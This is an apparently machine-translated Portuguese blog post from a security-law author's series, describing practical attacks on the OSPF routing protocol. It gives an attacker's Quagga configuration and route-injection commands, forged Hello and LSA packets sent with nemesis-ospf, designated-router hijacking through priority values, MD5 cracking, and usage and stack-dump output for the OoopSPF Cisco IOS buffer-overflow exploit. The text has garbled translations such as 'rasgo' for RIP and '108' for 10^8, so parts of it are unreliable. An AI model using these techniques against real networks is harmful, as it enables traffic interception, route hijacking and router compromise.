Ambientes com o protocolo OSPF.
Petukhov Oleg, advogado de Direito Internacional e proteção de dados pessoais, especialista em informação segurança, proteção de informações e dados pessoais.
Canal do Telegram: https://t.me/protecaodaInformacao
Grupo em Telegram: https://t.me/protecaodaInformacao1
Site: https://legascom.ru
Correio eletrónico: online@legascom.ru
#segurançadaInformação #Segurançadainformação
O protocolo de roteamento OSPF (Open Shortest Path First) é mais adequado para redes IP grandes, dinâmicas e interconectadas com vários caminhos. Como regra, o protocolo de roteamento OSPF é usado para roteamento em redes corporativas contendo uma média de 50 redes locais e vários milhares de hosts.
Para um melhor entendimento, vamos comparar RIP e OSPF.
O OSPF é um protocolo link-state, ao contrário do RIP, que é um protocolo de vetor de distância. Cada roteador atualiza sua tabela de roteamento com base nos vetores de distância que recebe de seus vizinhos.
Ao usar o protocolo channel status, o roteador não troca informações de distância com seus vizinhos. Em lugar de, cada roteador verifica ativamente o estado de seus canais que conduzem a cada roteador vizinho e envia esta informação a seus outros vizinhos, que podem dirigir o fluxo de dados ao sistema autônomo. Cada roteador recebe informações sobre o status do canal e constrói uma tabela de roteamento completa com base nela.
Na rede apresentada, a rota com dois roteadores vermelhos será considerada ótima entre origem e destino. A razão para isso são os canais mais rápidos nessa rota.
Do ponto de vista prático, a principal diferença é que o protocolo channel status funciona muito mais rápido que o distance vector protocol. Deve-se notar que, no caso do protocolo channel status, a convergência da rede é muito mais rápida. O conceito de convergência de Protocolo geralmente se refere à estabilização da rede após quaisquer alterações, como falha do roteador ou falha do canal.
O OSPF igualmente difere do rasgo (como muitos outros protocolos de roteamento) que usa o IP diretamente. Isso significa que ele não usa UDP ou TCP. O OSPF tem seu próprio identificador, que é definido no campo protocolo no cabeçalho IP.
Consequentemente, os ataques ao OSPF são mais complexos do que no RIP. As principais dificuldades são as seguintes:
1) o roteador do invasor precisa emular o pacote HELLO para trocar informações de roteamento com outros roteadores.;
2) dependência da hierarquia de roteadores envolvidos na troca de informações de roteamento OSPF. Os roteadores envolvidos na troca podem ter níveis diferentes no esquema de roteamento hierárquico.
Levando em conta essas dificuldades, passaremos a considerar os principais ataques ao OSPF.
O objetivo desse ataque é apresentar a rota que passa pela máquina do invasor como tendo a maior taxa de transferência. Um dos critérios para escolher a rota ideal no OSPF é uma métrica calculada usando a fórmula
métrica = reference bandwidth / link bandwidth,
onde largura de banda de referência = 108, largura de banda do enlace é a largura de banda do canal.
Por exemplo, para canais com 100 Mbps, o valor da métrica é 1, Para 10 Mbps – 10 e assim por diante.
Assim, o atacante precisa de ajustar o valor métrico para sua rota a 1 a fim fazê-la uma prioridade.
!
! Zebra configuration saved from vty
! 2005/08/16 01:22:41
!
hostname legitimate.ospfd
password 8 p@ssw0rd>
enable password 8 Cb/yfFsI.abqs
log file /var/log/quagga/ospfd.log
service advanced-vty
service password-encryption
!
!
interface eth0
description DMZ_Network
ip ospf authentication message-digest
ip ospf message-digest-key 1 md5 secret_key
!
interface eth1
!
interface 10
!
interface tun10
!
router ospf
ospf router-id 192.168.20.111
redistribute kernel
redistribute connected
network 192.168.20.0/24 area 0.0.0.0
area 0.0.0.0 authentication message-digest
!
line vty
exec-timeout 30 0
!
Quando a conexão à troca da rota OSPF foi terminada com sucesso, é necessário verificar o status atual da informação de rota usando o comando show ip opsf.:
legitimate.ospfd# show ip ospf
OSPF Routing Process, Router ID: 192.168.20.111
Supports only single TOS (TOS0) routes
This implementation conforms to RFC2328
RFC1583Compatibility flag is disabled
OpaqueCapability flag is disabled
SPF schedule delay 1 secs, Hold time between two SPFs 1 secs
Refresh timer 10 secs
This router is an ASBR (injecting external routing information)
Number of external LSA 4. Checksum Sum 0x00025f81
Number of opaque AS LSA 0. Checksum Sum 0x00000000
Number of areas attached to this router: 1
Area ID: 0.0.0.0 (Backbone)
Number of interfaces in this area: Total: 1, Active: 1
Number of fully adjacent neighbors in this area: 2
Area has message digest authentication
SPF algorithm executed 29 times
Number of LSA 9
Number of router LSA 4. Checksum Sum 0x00025166
Number of network LSA 1. Checksum Sum 0xffff90fa
Number of summary LSA 2. Checksum Sum 0x000166c2
Number of ASBR summary LSA 2. Checksum Sum 0x00014713
Number of NSSA LSA 0. Checksum Sum 0x00000000
Number of opaque link LSA 0. Checksum Sum 0x00000000
Number of opaque area LSA 0. Checksum Sum 0x00000000
Em seguida, adicione as rotas apropriadas.:
kali / # ip route add 64.100.0.0/14 dev eth0
kali / # ip route add 128.107.0.0/16 dev eth0
Certifique-se de que estas rotas estiveram adicionadas com sucesso à troca OSPF.:
legitimate.ospfd# sh ip ospf route
============ OSPF external routing table ===========
N E2 64.100.0.0/14 [10/20] tag: 0
via 192.168.66.111, eth0
N E2 128.107.0.0/16 [10/20] tag: 0
via 192.168.66.111, eth0
Como você entende, 192.168.66.111 é a máquina do atacante.
Para implementar esse ataque, você também pode usar o utilitário Nemesis mencionado anteriormente, ou melhor, sua modificação, projetada especificamente para trabalhar com o OSPF. Aqui está uma lista de opções para este utilitário:
kali / # ./nemesis-ospf
OSPF Packet Injection -=The NEMESIS Project 1.1
I 1999, 2000 obecian <obecian@celerity.bartoli.org>;
OSPF usage:
./nemesis-ospf [-v] [optlist]
OSPF Packet Types:
-p <OSPF Protocol>
-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),
-pN LSA (network), -pM LSA (summary), -pA LSA (AS)
OSPF HELLO options:
-N <Neighbor Router Address>
-i >Dead Router Interval>
-l <OSPF Interval>
OSPF DBD options:
-z <MAX DGRAM Length>
-x <Exchange Type>
OSPF LSU options:
-B <num of LSAs to bcast>
OSPF LSA related options:
-L <router id>
-G <LSA age>
OSPF LSA_RTR options:
-u <LSA_RTR num>
-y <LSA_RTR router type>
-k <LSA_RTR router data>
OSPF LSA_AS_EXT options:
-f <LSA_AS_EXT forward address>
-g <LSA_AS_EXT tag>
OSPF options:
-m <OSPF Metric>
-s <Sequence Number>
-r <Advertising Router Address>
-n >OSPF Netmask>
-O <OSPF Options>
-R <OSPF Router id>
-A <OSPF Area id>
-P <Payload File (Binary or ASCII)>
(-v VERBOSE packet struct to stdout)
IP Options
-S <Source Address>
-D <Destination Address>
-I <IP ID>
-T <IP TTL>
-t <IP/OSPF tos>
-F <IP frag>
-o <IP Options>
Data Link Options:
-d <Ethernet Device>
-H <Source MAC Address>
-M <Destination MAC Address>
Você deve especificar a origem, o destinatário, o protocolo e as opções correspondentes. Por exemplo, para enviar um pacote OSPF Neighbor Hello falso para o roteador, você precisa executar o seguinte comando:
Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1
Uma aplicação alternativa deste ataque pode ser a geração de atualizações Falsificadas OSPF LSA, que podem igualmente ser realizadas usando o nemesis.
Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1
Nós nos tornamos um roteador OSPF designado-ou designado de Backup.
Em redes médias e grandes que usam o protocolo OSPF, uma certa hierarquia de roteadores é usada. Em grandes redes que usam dezenas ou mesmo centenas de roteadores, manter as informações atualizadas consome muitos recursos. Uma hierarquia é usada para separar as tarefas de construção de tabelas de roteamento e redução da carga nos dispositivos. No nível superior dessa hierarquia, via de regra, o roteador mais produtivo está presente. Esse roteador é chamado de roteador designado. A finalidade deste dispositivo é transmitir eficientemente a informação de roteamento moderna a todos os roteadores envolvidos na troca OSPF.
Em caso de falha do roteador designado, ele deve ser substituído por um roteador designado de Backup, ou seja, um roteador de Nível Superior de backup.
O roteador designado é selecionado por votação com base na prioridade do roteador e seu endereço IP.
Um invasor pode tentar se tornar esse roteador designado.
Se DR for atribuída prioridade 255 e BDR for atribuída prioridade 254, é impossível ganhar a eleição. Entretanto, muitos administradores não utilizam valores de prioridade máxima, atribuindo DR e BDR 100 e 10 ou 2 e 1, respectivamente. Às vezes, DR e BDR recebem os endereços IP mais apropriados.
Assim, para que um invasor faça seu roteador projetado, basta estabelecer como o DR é selecionado e, com base nisso, falsificar a prioridade ou o endereço IP.
No Quagga, você pode definir a prioridade usando o seguinte comando:
ip ospf priority 255
Se o DR e o BDR tiverem valores de prioridade máxima, você poderá tentar desativá-los usando vários ataques de rede descritos neste livro e, em seguida, tentar substituir seu roteador falso.
Hacking OSPF MD5.
Para proteção, o protocolo OSPF usa autenticação MD5. Assim, por analogia com o hacking MD5 no protocolo RIP, essa proteção também pode ser hackeada aqui.
Isso exigirá Caim e Abel. O processo de hacking em si é semelhante ao descrito nos posts sobre hacking RIP, então não vamos descrevê-lo aqui.
Um ataque ao OSPF usando o Exploit OoopSPF. Os roteadores Cisco com versões 11.2, 11.3 e 12.0 do sistema operacional IOS podem transbordar o buffer ao receber um grande número pacotes HELLO OSPF. O conceito de implementação desta vulnerabilidade é apresentado no site oficial.:
arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump
***********************************************************************
IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),
RELEASE SOFTWARE (fc3)
IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin
MEMORY: 61440K/4096K
ARRAY: 82A7E210
PID RECORD STACK RETURNA RETURNV NAME
<skip>
90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello
150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router
<skip>
arhontus / # ./OoopSPF
Phenoelit OoopSPF
Cisco IOS OSPF remote exploit (11.2.-12.0)
(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>;
Usage:
./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>
Options:
-s <src net> Use this network as source (as in target config)
-n <src mask> Use this netmask as source (as in target config)
-d <target> This is the target router interface IP
-f <file> Use this as the new config for the router
-t # Use this target value set (see below)
-a <area> Use this OSPF area
-v Be verbose (-vv or -vvv recommended)
-D Directed attack (unicast) for 11.x targets
-T Test only – don't send
--- barely used options ---
-L # Number of neighbors to announce (overflow size)
-F # Start of data (seen reverse to overflow)
-S # NOP sleet
No próximo post, passaremos para as questões de segurança do OSPF routing protocol.




